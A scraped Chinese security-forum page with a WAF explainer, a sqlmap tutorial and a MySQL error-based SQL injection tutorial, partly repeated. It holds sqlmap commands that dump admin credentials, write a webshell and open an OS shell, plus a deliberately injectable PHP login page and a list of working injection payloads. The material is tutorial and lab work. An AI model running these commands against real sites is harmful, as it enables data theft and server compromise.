        码再多的文字,说再多的理论,不给结果都是瞎扯的流氓,以下是某厂版本较老的WAF,别人问了:咋不弄新版本那(你告诉我谁家想查水表),以下操作仅供本地实验,切勿违法操作:
            1.环境为本地文件,测试第一次警告,结果如图:






            2.测试第二次,显然是存在注入的,如图;






5.总结
        1.没有绝对的安全,在安全的路上记下一句话:如临深渊 如履薄冰!

感谢:论坛@朽木提供技术支持! 查看全部
对WAF的粗略见解(排版不好谅解)

  
 SQL注入产生,不做更多解释了,对于网站WAF,做渗透测试都遇到过,对于新兵,难免遇到抓脑,曾一度错误认为waf是进驻在进程中,监视监管web请求过来的数据,多说无益,请仔细阅读;

1.什么是WAF?

      
  Web应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。说直白点就是,过滤用户提交的请求,不用搞那么复杂;

2.WAF具备那些功能?

          
 1.审计设备
                对于系统自身安全相关的事件产生审计记录:比如:用户操作行为、安全策略操作行为;
            2.访问控制设备
                用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式。
            3.架构/网络设计工具
                当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。
            4.WEB应用加固工具
                这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且 能够保护WEB应用编程错误导致的安全隐患。
            注:需要说明的一点,不是称为Web应用防火墙的设备都同时具有以上四种功能。

        *.补充:
            
WEB应用防火墙还具有多面性的特点:
                1.从网络入侵检测的角度来看可以把WAF看成运行在HTTP层上的IDS设备;
                2.从防火墙角度来看,WAF是一种防火墙的功能模块;
                3.也可以把WAF看作“深度检测防火墙”的增强。
                注(深度检测防火墙通常工作在的网络的第三层以及更高的层次,而Web应用防火墙则在第七层处理HTTP服务并且更好地支持它。)


3.Web中WAF:
      
 这里只谈web环境中的WAF,目前,waf最大的目的是防止SQL注入;智慧的人类创造了锁,必然会有钥匙,号称不可逆的MD5,咳咳。。。。。
        举例:
            扯了半天WAF那么它是怎么工作的那?请看下图:


流程图.png

360WAF-工作原理.jpg


            1.图1,描述的环境,图2,解说WAF处理请求的过程;
            2.当收到客户端请求,apache收到请求,通过配置文件里定义的方法,检查请求内容是否合法;
            3.那么有了WAF就一定安全了吗?答案,当然肯定是否的;


    3.1.那么问题来了,waf如何能做到进驻配置文件的哪?
           1.它是安装WAF过程中,修改了APACHE的配置文件,并且重启了apache服务,让其生效;(如图)

waf-文件路径.png


4.实践测试:
      
 码再多的文字,说再多的理论,不给结果都是瞎扯的流氓,以下是某厂版本较老的WAF,别人问了:咋不弄新版本那(你告诉我谁家想查水表),以下操作仅供本地实验,切勿违法操作:
            1.环境为本地文件,测试第一次警告,结果如图:


wef提示.png


          
 2.测试第二次,显然是存在注入的,如图;

过了WAF.png


5.总结
      
 1.没有绝对的安全,在安全的路上记下一句话:如临深渊 如履薄冰!

感谢:论坛@朽木提供技术支持!

Sqlmap 常见使用方法及详细参数

Web安全渗透kakaxi 发表了文章 • 6 个评论 • 630 次浏览 • 2016-11-15 11:07 • 来自相关话题

Sqlmap使用教程[/b]

sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。

今天把我一直以来整理的sqlmap笔记发布上来供大家参考。

 

sqlmap简介

sqlmap支持五种不同的注入模式:
[]基于布尔的盲注,即可以根据返回页面判断条件真假的注入。[/][]基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。[/][]基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。[/][]联合查询注入,可以使用union的情况下的注入。[/][]堆查询注入,可以同时执行多条语句的执行时的注入。[/]

sqlmap支持的数据库有

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

检测注入

基本格式

sqlmap -u “http://www.vuln.cn/post.php?id=1″


默认使用level1检测全部数据库类型

sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3


指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

跟随302跳转

当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,
当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。

cookie注入

当程序有防get注入的时候,可以使用cookie注入

sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11″ –level 2(只有level达到2才会检测cookie)


从post数据包中注入

可以使用burpsuite或者temperdata等工具来抓取post包

sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数


注入成功后
获取数据库基本信息

sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 –dbs


查询有哪些数据库

sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test –tables


查询test数据库中有哪些表

sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test -T admin –columns


查询test数据库中admin表有哪些字段

sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test -T admin -C “username,password” –dump


dump出字段username与password中的数据

其他命令参考下面

从数据库中搜索字段

sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password

在dedecms数据库中搜索字段admin或者password。

读取与写入文件

首先找需要网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:

sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”


使用shell命令:

sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell

接下来指定网站可写目录:
“E:\php\htdocs\dvwa”

#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

sqlmap详细命令:

–is-dba 当前用户权限(是否为root权限)
–dbs 所有数据库
–current-db 网站当前数据库
–users 所有数据库用户
–current-user 当前数据库用户
–random-agent 构造随机user-agent
–passwords 数据库密码
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)


——————————————————————————————————

Options(选项):

–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出
-v VERBOSE 详细级别:0-6(默认为1)


Target(目标):

以下至少需要设置其中一个选项,设置目标URL。

-d DIRECT 直接连接到数据库。
-u URL, –url=URL 目标URL。
-l LIST 从Burp或WebScarab代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入HTTP请求。
-g GOOGLEDORK 处理Google dork的结果作为目标URL。
-c CONFIGFILE 从INI配置文件中加载选项。


Request(请求):

这些选项可以用来指定如何连接到目标URL。

–data=DATA 通过POST发送的数据字符串
–cookie=COOKIE HTTP Cookie头
–cookie-urlencode URL 编码生成的cookie注入
–drop-set-cookie 忽略响应的Set – Cookie头信息
–user-agent=AGENT 指定 HTTP User – Agent头
–random-agent 使用随机选定的HTTP User – Agent头
–referer=REFERER 指定 HTTP Referer头
–headers=HEADERS 换行分开,加入其他的HTTP头
–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
–auth-cert=ACERT HTTP认证证书(key_file,cert_file)
–proxy=PROXY 使用HTTP代理连接到目标URL
–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
–ignore-proxy 忽略系统默认的HTTP代理
–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
–retries=RETRIES 连接超时后重新连接的时间(默认3)
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的url地址
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL


Enumeration(枚举):

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句。

-b, –banner 检索数据库管理系统的标识
–current-user 检索数据库管理系统当前用户
–current-db 检索数据库管理系统当前数据库
–is-dba 检测DBMS当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
-D DBname 要进行枚举的指定数据库名
-T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
–tables 枚举的DBMS数据库中的表
–columns 枚举DBMS数据库表列
–dump 转储数据库管理系统的数据库中的表项
–dump-all 转储所有的DBMS数据库表中的条目
–search 搜索列(S),表(S)和/或数据库名称(S)
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–start=LIMITSTART 第一个查询输出进入检索
–stop=LIMITSTOP 最后查询的输出进入检索
–first=FIRSTCHAR 第一个查询输出字的字符检索
–last=LASTCHAR 最后查询的输出字字符检索
–sql-query=QUERY 要执行的SQL语句
–sql-shell 提示交互式SQL的shell


Optimization(优化):

这些选项可用于优化SqlMap的性能。

-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使用持久的HTTP(S)连接
–null-connection 从没有实际的HTTP响应体中检索页面长度
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)


Injection(注入):

这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。

-p TESTPARAMETER 可测试的参数(S)
–dbms=DBMS 强制后端的DBMS为此值
–os=OS 强制后端的DBMS操作系统为这个值
–prefix=PREFIX 注入payload字符串前缀
–suffix=SUFFIX 注入payload字符串后缀
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据


Detection(检测):

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

–level=LEVEL 执行测试的等级(1-5,默认为1)
–risk=RISK 执行测试的风险(0-3,默认为1)
–string=STRING 查询时有效时在页面匹配字符串
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
–text-only 仅基于在文本内容比较网页


Techniques(技巧):

这些选项可用于调整具体的SQL注入测试。

–technique=TECH SQL注入技术测试(默认BEUST)
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
–union-cols=UCOLS 定列范围用于测试UNION查询注入
–union-char=UCHAR 用于暴力猜解列数的字符


Fingerprint(指纹):

-f, –fingerprint 执行检查广泛的DBMS版本指纹


Brute force(蛮力):

这些选项可以被用来运行蛮力检查。

–common-tables 检查存在共同表
–common-columns 检查存在共同列


User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。

–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径


File system access(访问文件系统):

这些选项可以被用来访问后端数据库管理系统的底层文件系统。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径


Operating system access(操作系统访问):

这些选项可以用于访问后端数据库管理系统的底层操作系统。

–os-cmd=OSCMD 执行操作系统命令
–os-shell 交互式的操作系统的shell
–os-pwn 获取一个OOB shell,meterpreter或VNC
–os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH Metasploit Framework本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径


Windows注册表访问:

这些选项可以被用来访问后端数据库管理系统Windows注册表。

–reg-read 读一个Windows注册表项值
–reg-add 写一个Windows注册表项值数据
–reg-del 删除Windows注册表键值
–reg-key=REGKEY Windows注册表键
–reg-value=REGVAL Windows注册表项值
–reg-data=REGDATA Windows注册表键值数据
–reg-type=REGTYPE Windows注册表项值类型


这些选项可以用来设置一些一般的工作参数。

-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
–flush-session 刷新当前目标的会话文件
–fresh-queries 忽略在会话文件中存储的查询结果
–eta 显示每个输出的预计到达时间
–update 更新SqlMap
–save file保存选项到INI配置文件


–batch 从不询问用户输入,使用所有默认配置。


Miscellaneous(杂项):


–beep 发现SQL注入时提醒
–check-payload IDS对注入payloads的检测测试
–cleanup SqlMap具体的UDF和表清理DBMS
–forms 对目标URL的解析和测试形式
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
–page-rank Google dork结果显示网页排名(PR)
–parse-errors 从响应页面解析数据库管理系统的错误消息
–replicate 复制转储的数据到一个sqlite3数据库
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 给初级用户的简单向导界面

 
 
本文作者:Sofia @ 邮箱 , 个人主页
版权声明:除非本文有注明出处,否则转载请注明本文来自 http://www.vuln.cn
本文地址:http://www.vuln.cn/?p=1992 查看全部


Sqlmap使用教程[/b]

sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。

今天把我一直以来整理的sqlmap笔记发布上来供大家参考。

 

sqlmap简介

sqlmap支持五种不同的注入模式:
    []基于布尔的盲注,即可以根据返回页面判断条件真假的注入。[/][]基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。[/][]基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。[/][]联合查询注入,可以使用union的情况下的注入。[/][]堆查询注入,可以同时执行多条语句的执行时的注入。[/]


sqlmap支持的数据库有

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

检测注入

基本格式


sqlmap -u “http://www.vuln.cn/post.php?id=1″



默认使用level1检测全部数据库类型


sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3



指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

跟随302跳转

当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,
当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。

cookie注入

当程序有防get注入的时候,可以使用cookie注入


sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11″ –level 2(只有level达到2才会检测cookie)



从post数据包中注入

可以使用burpsuite或者temperdata等工具来抓取post包


sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数



注入成功后
获取数据库基本信息


sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 –dbs



查询有哪些数据库


sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test –tables



查询test数据库中有哪些表


sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test -T admin –columns



查询test数据库中admin表有哪些字段


sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test -T admin -C “username,password” –dump



dump出字段username与password中的数据

其他命令参考下面

从数据库中搜索字段


sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password


在dedecms数据库中搜索字段admin或者password。

读取与写入文件

首先找需要网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:


sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”



使用shell命令


sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell


接下来指定网站可写目录:
“E:\php\htdocs\dvwa”

#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

sqlmap详细命令:


–is-dba 当前用户权限(是否为root权限)
–dbs 所有数据库
–current-db 网站当前数据库
–users 所有数据库用户
–current-user 当前数据库用户
–random-agent 构造随机user-agent
–passwords 数据库密码
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)



——————————————————————————————————

Options(选项):


–version 显示程序的版本号并退出
-h, –help 显示此帮助消息并退出
-v VERBOSE 详细级别:0-6(默认为1)



Target(目标):

以下至少需要设置其中一个选项,设置目标URL。


-d DIRECT 直接连接到数据库。
-u URL, –url=URL 目标URL。
-l LIST 从Burp或WebScarab代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入HTTP请求。
-g GOOGLEDORK 处理Google dork的结果作为目标URL。
-c CONFIGFILE 从INI配置文件中加载选项。



Request(请求):

这些选项可以用来指定如何连接到目标URL。


–data=DATA 通过POST发送的数据字符串
–cookie=COOKIE HTTP Cookie头
–cookie-urlencode URL 编码生成的cookie注入
–drop-set-cookie 忽略响应的Set – Cookie头信息
–user-agent=AGENT 指定 HTTP User – Agent头
–random-agent 使用随机选定的HTTP User – Agent头
–referer=REFERER 指定 HTTP Referer头
–headers=HEADERS 换行分开,加入其他的HTTP头
–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
–auth-cert=ACERT HTTP认证证书(key_file,cert_file)
–proxy=PROXY 使用HTTP代理连接到目标URL
–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
–ignore-proxy 忽略系统默认的HTTP代理
–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
–retries=RETRIES 连接超时后重新连接的时间(默认3)
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的url地址
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL



Enumeration(枚举):

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句。


-b, –banner 检索数据库管理系统的标识
–current-user 检索数据库管理系统当前用户
–current-db 检索数据库管理系统当前数据库
–is-dba 检测DBMS当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
-D DBname 要进行枚举的指定数据库名
-T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
–tables 枚举的DBMS数据库中的表
–columns 枚举DBMS数据库表列
–dump 转储数据库管理系统的数据库中的表项
–dump-all 转储所有的DBMS数据库表中的条目
–search 搜索列(S),表(S)和/或数据库名称(S)
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–start=LIMITSTART 第一个查询输出进入检索
–stop=LIMITSTOP 最后查询的输出进入检索
–first=FIRSTCHAR 第一个查询输出字的字符检索
–last=LASTCHAR 最后查询的输出字字符检索
–sql-query=QUERY 要执行的SQL语句
–sql-shell 提示交互式SQL的shell



Optimization(优化):

这些选项可用于优化SqlMap的性能。


-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使用持久的HTTP(S)连接
–null-connection 从没有实际的HTTP响应体中检索页面长度
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)



Injection(注入):

这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。


-p TESTPARAMETER 可测试的参数(S)
–dbms=DBMS 强制后端的DBMS为此值
–os=OS 强制后端的DBMS操作系统为这个值
–prefix=PREFIX 注入payload字符串前缀
–suffix=SUFFIX 注入payload字符串后缀
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据



Detection(检测):

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。


–level=LEVEL 执行测试的等级(1-5,默认为1)
–risk=RISK 执行测试的风险(0-3,默认为1)
–string=STRING 查询时有效时在页面匹配字符串
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
–text-only 仅基于在文本内容比较网页



Techniques(技巧):

这些选项可用于调整具体的SQL注入测试。


–technique=TECH SQL注入技术测试(默认BEUST)
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
–union-cols=UCOLS 定列范围用于测试UNION查询注入
–union-char=UCHAR 用于暴力猜解列数的字符



Fingerprint(指纹):


-f, –fingerprint 执行检查广泛的DBMS版本指纹



Brute force(蛮力):

这些选项可以被用来运行蛮力检查。


–common-tables 检查存在共同表
–common-columns 检查存在共同列



User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。


–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径



File system access(访问文件系统):

这些选项可以被用来访问后端数据库管理系统的底层文件系统。


–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径



Operating system access(操作系统访问):

这些选项可以用于访问后端数据库管理系统的底层操作系统。


–os-cmd=OSCMD 执行操作系统命令
–os-shell 交互式的操作系统的shell
–os-pwn 获取一个OOB shell,meterpreter或VNC
–os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH Metasploit Framework本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径



Windows注册表访问:

这些选项可以被用来访问后端数据库管理系统Windows注册表。


–reg-read 读一个Windows注册表项值
–reg-add 写一个Windows注册表项值数据
–reg-del 删除Windows注册表键值
–reg-key=REGKEY Windows注册表键
–reg-value=REGVAL Windows注册表项值
–reg-data=REGDATA Windows注册表键值数据
–reg-type=REGTYPE Windows注册表项值类型



这些选项可以用来设置一些一般的工作参数。


-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
–flush-session 刷新当前目标的会话文件
–fresh-queries 忽略在会话文件中存储的查询结果
–eta 显示每个输出的预计到达时间
–update 更新SqlMap
–save file保存选项到INI配置文件



–batch 从不询问用户输入,使用所有默认配置。



Miscellaneous(杂项):



–beep 发现SQL注入时提醒
–check-payload IDS对注入payloads的检测测试
–cleanup SqlMap具体的UDF和表清理DBMS
–forms 对目标URL的解析和测试形式
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
–page-rank Google dork结果显示网页排名(PR)
–parse-errors 从响应页面解析数据库管理系统的错误消息
–replicate 复制转储的数据到一个sqlite3数据库
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 给初级用户的简单向导界面


 
 
本文作者:Sofia @ 邮箱 , 个人主页
版权声明:除非本文有注明出处,否则转载请注明本文来自 http://www.vuln.cn
本文地址:http://www.vuln.cn/?p=1992

Mysql 报错注入

编程saline 发表了文章 • 12 个评论 • 630 次浏览 • 2016-09-23 12:57 • 来自相关话题

什么时候可以使用报错注入?

这里拿一个例子来说,在php中操作mysql数据库时,如果当数据库查询出错时,没有显示的输出mysql_error(),那么当查询出错时,服务端不会返回任何与数据库有关的信息,但是可能会导致页面异常活着其他的一些现象。

但是如果在php代码里,当查询出错时显示的输出了mysql_error(),那就会返回mysql具体的错误信息,可能是如下这些信息:
1. The Used Select Statements Have Different Number Of Columns.
[list=1]
[*]Unknown Column 1 or no columns at all.[/*]
[*]Table 'xxxx' is not exists.[/*]
[*]Error #1604[/*]
[/list]当看到这些信息的时候,就要留意了,很有可能在这个页面上存在着注入。

下面就以一个简单的例子来说明如何基于错误信息来进行注入。
0x01 本地环境搭建

首先在本地建立一个测试数据库sqli:
建立一个测试表user和插入一些施力数据:
mysql> create table user (
id int(11) not null auto_increment primary key,
name varchar(20) not null,
pass varchar(32) not null
);
mysql> insert into user (name, pass) values ('admin', md5('123456')), ('guest', md5('guest'));
数据库准备好后,在站点根目录或者其子目录建立如下文件:
test.php
<?php
$conn = mysql_connect("localhost", "root", "root");
if (!$conn) {
die("Connection failed: " . mysql_error());
}

mysql_select_db("sqli", $conn);

// verify login info
if (isset($_GET['name']) && isset($_GET['pass'])) {
$name = $_GET['name'];
$pass = md5($_GET['pass']);

$query = "select * from user where name='$name' and pass='$pass'";

if ($result = mysql_query($query, $conn)) {
$row = mysql_fetch_array($result, MYSQL_ASSOC);

if ($row) {
echo "<script>alert('login successful!');</script>";
}
} else {
die("Operation error: " . mysql_error());
}
}

mysql_close();
?>

<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<center>
<form method="get" action="">
<label>User:</label><input type="text" name="name" value=""/><br/>
<label>Pass:</label><input type="password" name="pass" value=""/><br/>
<input type="submit" value="login"/>
</form>
</center>
</body>
</html>上面这段php验证登陆的代码很简单,注意下面这几行:
$name = $_GET['name'];
$pass = md5($_GET['pass']);

$query = "select * from user where name='$name' and pass='$pass'";登陆验证部分,取了$_GET[‘name’]和$_GET[‘pass’]的值,并且提交的密码经过了md5()的处理才插入到查询语句中,所以$pass的值不可控。

但在这里$name是一个很明显的注入点,并且在php代码里还十分完备地判断了查询过程,当查询出错时会抛出mysql_error()信息。
以下列出几种报错注入类型.可能不完整,求补充
 1 floor()
http://0.0.0.0:8001/test.php?name=aa'and (select 1 from (select count([i]),concat(version(),floor(rand(0)[/i]2))x from information_schema.tables group by x)a)%23&pass=1
2 Extractvalue()
http://0.0.0.0:8001/test.php?name=111' and (extractvalue(1,concat(0x7e,(select user()))))%23&pass=1
3 updatexml()
http://0.0.0.0:8001/test.php?name=111' and(updatexml (1,concat(0x7e,(select user()),0x73),1))%23&pass=1
4 GeometryCollection()
http://0.0.0.0:8001/test.php?name=111' and GeometryCollection((select [i] from(select [/i] from(select user())a)b))%23&pass=1
5 polygon()
http://0.0.0.0:8001/test.php?name=111' and polygon((select [i] from(select [/i] from(select user())a)b))%23&pass=1
6 multipoint()
http://0.0.0.0:8001/test.php?name=111' and multipoint((select [i] from(select [/i] from(select user())a)b))%23&pass=1
7 multilinestring()
http://0.0.0.0:8001/test.php?name=111' and multipolygon((select [i] from(select [/i] from(select user())a)b))%23&pass=1
8 multipolygon()
http://0.0.0.0:8001/test.php?name=111' and multipolygon((select [i] from(select [/i] from(select user())a)b))%23&pass=1
9 linestring()
http://0.0.0.0:8001/test.php?name=111' and linestring((select [i] from(select [/i] from(select user())a)b))%23&pass=1
10 NAME_CONST()
http://0.0.0.0:8001/test.php?name=111' and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)%23&pass=1
11 整数溢出
http://0.0.0.0:8001/test.php?name=aa' AND (select 1E308[i]if((select[/i]from(select version())a limit 1)>(select version()),2,2))%23&pass=1
12 EXP()
http://0.0.0.0:8001/test.php?name=a' and EXP(~(SELECT*FROM(SELECT version())a))%23&pass=1 查看全部
什么时候可以使用报错注入?

这里拿一个例子来说,在php中操作mysql数据库时,如果当数据库查询出错时,没有显示的输出mysql_error(),那么当查询出错时,服务端不会返回任何与数据库有关的信息,但是可能会导致页面异常活着其他的一些现象。

但是如果在php代码里,当查询出错时显示的输出了mysql_error(),那就会返回mysql具体的错误信息,可能是如下这些信息:
1. The Used Select Statements Have Different Number Of Columns.
[list=1]
[*]Unknown Column 1 or no columns at all.[/*]
[*]Table 'xxxx' is not exists.[/*]
[*]Error #1604
[/*]
[/list]当看到这些信息的时候,就要留意了,很有可能在这个页面上存在着注入。

下面就以一个简单的例子来说明如何基于错误信息来进行注入。
0x01 本地环境搭建

首先在本地建立一个测试数据库sqli:
建立一个测试表user和插入一些施力数据:
mysql> create table user (
id int(11) not null auto_increment primary key,
name varchar(20) not null,
pass varchar(32) not null
);
mysql> insert into user (name, pass) values ('admin', md5('123456')), ('guest', md5('guest'));
数据库准备好后,在站点根目录或者其子目录建立如下文件:
test.php
<?php
$conn = mysql_connect("localhost", "root", "root");
if (!$conn) {
die("Connection failed: " . mysql_error());
}

mysql_select_db("sqli", $conn);

// verify login info
if (isset($_GET['name']) && isset($_GET['pass'])) {
$name = $_GET['name'];
$pass = md5($_GET['pass']);

$query = "select * from user where name='$name' and pass='$pass'";

if ($result = mysql_query($query, $conn)) {
$row = mysql_fetch_array($result, MYSQL_ASSOC);

if ($row) {
echo "<script>alert('login successful!');</script>";
}
} else {
die("Operation error: " . mysql_error());
}
}

mysql_close();
?>

<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<center>
<form method="get" action="">
<label>User:</label><input type="text" name="name" value=""/><br/>
<label>Pass:</label><input type="password" name="pass" value=""/><br/>
<input type="submit" value="login"/>
</form>
</center>
</body>
</html>
上面这段php验证登陆的代码很简单,注意下面这几行:
$name = $_GET['name'];
$pass = md5($_GET['pass']);

$query = "select * from user where name='$name' and pass='$pass'";
登陆验证部分,取了$_GET[‘name’]和$_GET[‘pass’]的值,并且提交的密码经过了md5()的处理才插入到查询语句中,所以$pass的值不可控。

但在这里$name是一个很明显的注入点,并且在php代码里还十分完备地判断了查询过程,当查询出错时会抛出mysql_error()信息。
以下列出几种报错注入类型.可能不完整,求补充
 1 floor()
http://0.0.0.0:8001/test.php?name=aa'and (select 1 from  (select count([i]),concat(version(),floor(rand(0)[/i]2))x from  information_schema.tables group by x)a)%23&pass=1
2 Extractvalue()
http://0.0.0.0:8001/test.php?name=111' and (extractvalue(1,concat(0x7e,(select user()))))%23&pass=1
3 updatexml()
